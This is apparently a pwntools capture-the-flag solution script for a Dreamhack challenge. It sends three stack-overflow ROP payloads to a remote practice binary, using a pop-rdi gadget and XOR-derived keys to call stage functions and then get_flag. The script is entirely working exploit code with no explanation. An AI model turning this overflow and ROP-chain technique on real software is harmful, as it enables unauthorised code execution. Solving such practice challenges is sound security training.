from pwn import *
import time
# p = process('./chall')
p = remote('host8.dreamhack.games', 16761)
e = ELF('./chall')

context.log_level = 'debug'

execute_stage1 = e.symbols['execute_stage1']
execute_stage2 = e.symbols['execute_stage2']
vulnerable = e.symbols['vulnerable']
get_flag = e.symbols['get_flag']
retgadget = 0x40101a
pop_rdi_ret = 0x401565

p.recvuntil(b'key: ')
stage1_key = int(p.recvn(10), 16)
stage1_rdi = stage1_key ^ 0xCAFEBABE

print('stage1_key.. ' + hex(stage1_key))
print('stage1_rdi.. ' + hex(stage1_rdi))

print('execute_stage1.. ' + hex(execute_stage1))
print('execute_stage2.. ' + hex(execute_stage2))

payload = b'A' * 0x10
payload += b'B' * 0x8
payload += p64(pop_rdi_ret)
payload += p64(stage1_rdi)
payload += p64(retgadget)
payload += p64(execute_stage1)
payload += p64(vulnerable)

p.sendafter(b'Input: ', payload)

p.recvuntil(b'key: ')
stage2_key = int(p.recvn(10), 16)
stage2_rdi = stage2_key ^ 0xF00DBABE

print('stage2_key.. ' + hex(stage2_key))
print('stage2_rdi.. ' + hex(stage2_rdi))

payload = b'A' * 0x10
payload += b'B' * 0x8
payload += p64(pop_rdi_ret)
payload += p64(stage2_rdi)
payload += p64(execute_stage2)
payload += p64(retgadget)
payload += p64(vulnerable)

p.sendafter(b'Input: ', payload)

p.recvuntil(b'key: ')
stage3_key = int(p.recvn(10), 16)
stage3_rdi = stage3_key ^ 0x12345678

print('stage3_key.. ' + hex(stage3_key))
print('stage3_rdi.. ' + hex(stage3_rdi))

payload = b'A' * 0x10
payload += b'B' * 0x8
payload += p64(pop_rdi_ret)
payload += p64(stage3_rdi)
payload += p64(retgadget)
payload += p64(get_flag)

p.sendafter(b'Input: ', payload)

p.interactive()